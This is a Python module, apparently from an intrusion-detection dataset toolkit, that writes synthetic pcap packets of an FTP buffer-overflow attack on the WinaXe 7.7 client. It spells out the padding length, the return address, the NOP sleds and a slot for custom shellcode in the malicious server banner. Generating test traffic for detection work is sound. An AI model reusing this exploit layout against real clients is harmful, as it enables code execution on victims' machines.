3
0

FTPWinaXeExploit.py 10.0 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217
  1. import logging
  2. import ID2TLib.Utility
  3. from random import randint
  4. from lea import Lea
  5. from scapy.layers.inet import IP, Ether, TCP
  6. from Attack import BaseAttack
  7. from Attack.AttackParameters import Parameter as Param
  8. from Attack.AttackParameters import ParameterTypes
  9. from ID2TLib.Utility import update_timestamp, generate_source_port_from_platform, get_rnd_x86_nop, forbidden_chars,\
  10. get_rnd_bytes , check_payload_len, handle_most_used_outputs
  11. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  12. # noinspection PyPep8
  13. ftp_port = 21
  14. class FTPWinaXeExploit(BaseAttack.BaseAttack):
  15. def __init__(self):
  16. """
  17. Creates a new instance of the FTPWinaXeExploit.
  18. """
  19. # Initialize attack
  20. super(FTPWinaXeExploit, self).__init__("FTPWinaXe Exploit", "Injects an WinaXe 7.7 FTP Exploit.",
  21. "Privilege elevation")
  22. # Define allowed parameters and their type
  23. self.supported_params.update({
  24. Param.IP_SOURCE: ParameterTypes.TYPE_IP_ADDRESS,
  25. Param.IP_DESTINATION: ParameterTypes.TYPE_IP_ADDRESS,
  26. Param.MAC_SOURCE: ParameterTypes.TYPE_MAC_ADDRESS,
  27. Param.MAC_DESTINATION: ParameterTypes.TYPE_MAC_ADDRESS,
  28. Param.INJECT_AT_TIMESTAMP: ParameterTypes.TYPE_FLOAT,
  29. Param.INJECT_AFTER_PACKET: ParameterTypes.TYPE_PACKET_POSITION,
  30. Param.IP_SOURCE_RANDOMIZE: ParameterTypes.TYPE_BOOLEAN,
  31. Param.PACKETS_PER_SECOND: ParameterTypes.TYPE_FLOAT,
  32. Param.CUSTOM_PAYLOAD: ParameterTypes.TYPE_STRING,
  33. Param.CUSTOM_PAYLOAD_FILE: ParameterTypes.TYPE_STRING
  34. })
  35. def init_params(self):
  36. """
  37. Initialize the parameters of this attack using the user supplied command line parameters.
  38. Use the provided statistics to calculate default parameters and to process user
  39. supplied queries.
  40. """
  41. # PARAMETERS: initialize with default values
  42. # (values are overwritten if user specifies them)
  43. most_used_ip_address = self.statistics.get_most_used_ip_address()
  44. # The most used IP class in background traffic
  45. most_used_ip_class = handle_most_used_outputs(self.statistics.process_db_query("most_used(ipClass)"))
  46. attacker_ip = self.generate_random_ipv4_address(most_used_ip_class)
  47. self.add_param_value(Param.IP_DESTINATION, attacker_ip)
  48. self.add_param_value(Param.MAC_DESTINATION, self.generate_random_mac_address())
  49. random_ip_address = self.statistics.get_random_ip_address()
  50. # victim should be valid and not equal to attacker
  51. while not self.is_valid_ip_address(random_ip_address) or random_ip_address == attacker_ip:
  52. random_ip_address = self.statistics.get_random_ip_address()
  53. self.add_param_value(Param.IP_SOURCE, random_ip_address)
  54. victim_mac = self.statistics.get_mac_address(random_ip_address)
  55. if isinstance(victim_mac, list) and len(victim_mac) == 0:
  56. victim_mac = self.generate_random_mac_address()
  57. self.add_param_value(Param.MAC_SOURCE, victim_mac)
  58. self.add_param_value(Param.PACKETS_PER_SECOND,
  59. (self.statistics.get_pps_sent(most_used_ip_address) +
  60. self.statistics.get_pps_received(most_used_ip_address)) / 2)
  61. self.add_param_value(Param.INJECT_AFTER_PACKET, randint(0, self.statistics.get_packet_count()))
  62. self.add_param_value(Param.IP_SOURCE_RANDOMIZE, 'False')
  63. self.add_param_value(Param.CUSTOM_PAYLOAD, '')
  64. self.add_param_value(Param.CUSTOM_PAYLOAD_FILE, '')
  65. def generate_attack_packets(self):
  66. pps = self.get_param_value(Param.PACKETS_PER_SECOND)
  67. # Timestamp
  68. timestamp_next_pkt = self.get_param_value(Param.INJECT_AT_TIMESTAMP)
  69. # store start time of attack
  70. self.attack_start_utime = timestamp_next_pkt
  71. # Initialize parameters
  72. ip_victim = self.get_param_value(Param.IP_SOURCE)
  73. ip_attacker = self.get_param_value(Param.IP_DESTINATION)
  74. mac_victim = self.get_param_value(Param.MAC_SOURCE)
  75. mac_attacker = self.get_param_value(Param.MAC_DESTINATION)
  76. custom_payload = self.get_param_value(Param.CUSTOM_PAYLOAD)
  77. custom_payload_len = len(custom_payload)
  78. custom_payload_limit = 1000
  79. check_payload_len(custom_payload_len, custom_payload_limit)
  80. self.packets = []
  81. # Create random victim if specified
  82. if self.get_param_value(Param.IP_SOURCE_RANDOMIZE):
  83. # The most used IP class in background traffic
  84. most_used_ip_class = handle_most_used_outputs(self.statistics.process_db_query("most_used(ipClass)"))
  85. ip_victim = self.generate_random_ipv4_address(most_used_ip_class, 1)
  86. mac_victim = self.generate_random_mac_address()
  87. # Get MSS, TTL and Window size value for victim/attacker IP
  88. victim_mss_value, victim_ttl_value, victim_win_value = self.get_ip_data(ip_victim)
  89. attacker_mss_value, attacker_ttl_value, attacker_win_value = self.get_ip_data(ip_attacker)
  90. minDelay, maxDelay = self.get_reply_delay(ip_attacker)
  91. attacker_seq = randint(1000, 50000)
  92. victim_seq = randint(1000, 50000)
  93. sport = generate_source_port_from_platform("win7")
  94. # connection request from victim (client)
  95. victim_ether = Ether(src=mac_victim, dst=mac_attacker)
  96. victim_ip = IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF')
  97. request_tcp = TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S',
  98. seq=victim_seq, options=[('MSS', victim_mss_value)])
  99. victim_seq += 1
  100. syn = (victim_ether / victim_ip / request_tcp)
  101. syn.time = timestamp_next_pkt
  102. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  103. self.packets.append(syn)
  104. # response from attacker (server)
  105. attacker_ether = Ether(src=mac_attacker, dst=mac_victim)
  106. attacker_ip = IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF')
  107. reply_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA',
  108. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  109. attacker_seq += 1
  110. synack = (attacker_ether / attacker_ip / reply_tcp)
  111. synack.time = timestamp_next_pkt
  112. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  113. self.packets.append(synack)
  114. # acknowledgement from victim (client)
  115. ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  116. window=victim_win_value, options=[('MSS', victim_mss_value)])
  117. ack = (victim_ether / victim_ip / ack_tcp)
  118. ack.time = timestamp_next_pkt
  119. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  120. self.packets.append(ack)
  121. # FTP exploit packet
  122. ftp_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA',
  123. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  124. characters = b'220'
  125. characters += get_rnd_bytes(2065, forbidden_chars)
  126. characters += b'\x96\x72\x01\x68'
  127. characters += get_rnd_x86_nop(10, False, forbidden_chars)
  128. custom_payload_file = self.get_param_value(Param.CUSTOM_PAYLOAD_FILE)
  129. if custom_payload == '':
  130. if custom_payload_file == '':
  131. payload = get_rnd_bytes(custom_payload_limit, forbidden_chars)
  132. else:
  133. payload = ID2TLib.Utility.get_bytes_from_file(custom_payload_file)
  134. check_payload_len(len(payload), custom_payload_limit)
  135. payload += get_rnd_x86_nop(custom_payload_limit - len(payload), False, forbidden_chars)
  136. else:
  137. encoded_payload = custom_payload.encode()
  138. payload = get_rnd_x86_nop(custom_payload_limit - custom_payload_len, False, forbidden_chars)
  139. payload += encoded_payload
  140. characters += payload
  141. characters += get_rnd_x86_nop(20, False, forbidden_chars)
  142. characters += b'\r\n'
  143. ftp_tcp.add_payload(characters)
  144. ftp_buff = (attacker_ether / attacker_ip / ftp_tcp)
  145. ftp_buff.time = timestamp_next_pkt
  146. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  147. self.packets.append(ftp_buff)
  148. attacker_seq += len(ftp_tcp.payload)
  149. # Fin Ack from attacker
  150. fin_ack_tcp = TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA',
  151. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  152. fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp)
  153. fin_ack.time = timestamp_next_pkt
  154. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps, minDelay)
  155. self.packets.append(fin_ack)
  156. # Ack from victim on FTP packet
  157. ftp_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  158. window=victim_win_value, options=[('MSS', victim_mss_value)])
  159. ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp)
  160. ftp_ack.time = timestamp_next_pkt
  161. timestamp_next_pkt = update_timestamp(timestamp_next_pkt, pps)
  162. self.packets.append(ftp_ack)
  163. # Ack from victim on Fin/Ack of attacker
  164. fin_ack_ack_tcp = TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq+1, flags='A',
  165. window=victim_win_value, options=[('MSS', victim_mss_value)])
  166. fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp)
  167. fin_ack_ack.time = timestamp_next_pkt
  168. self.packets.append(fin_ack_ack)
  169. def generate_attack_pcap(self):
  170. # store end time of attack
  171. self.attack_end_utime = self.packets[-1].time
  172. # write attack packets to pcap
  173. pcap_path = self.write_attack_pcap(sorted(self.packets, key=lambda pkt: pkt.time))
  174. # return packets sorted by packet time_sec_start
  175. return len(self.packets), pcap_path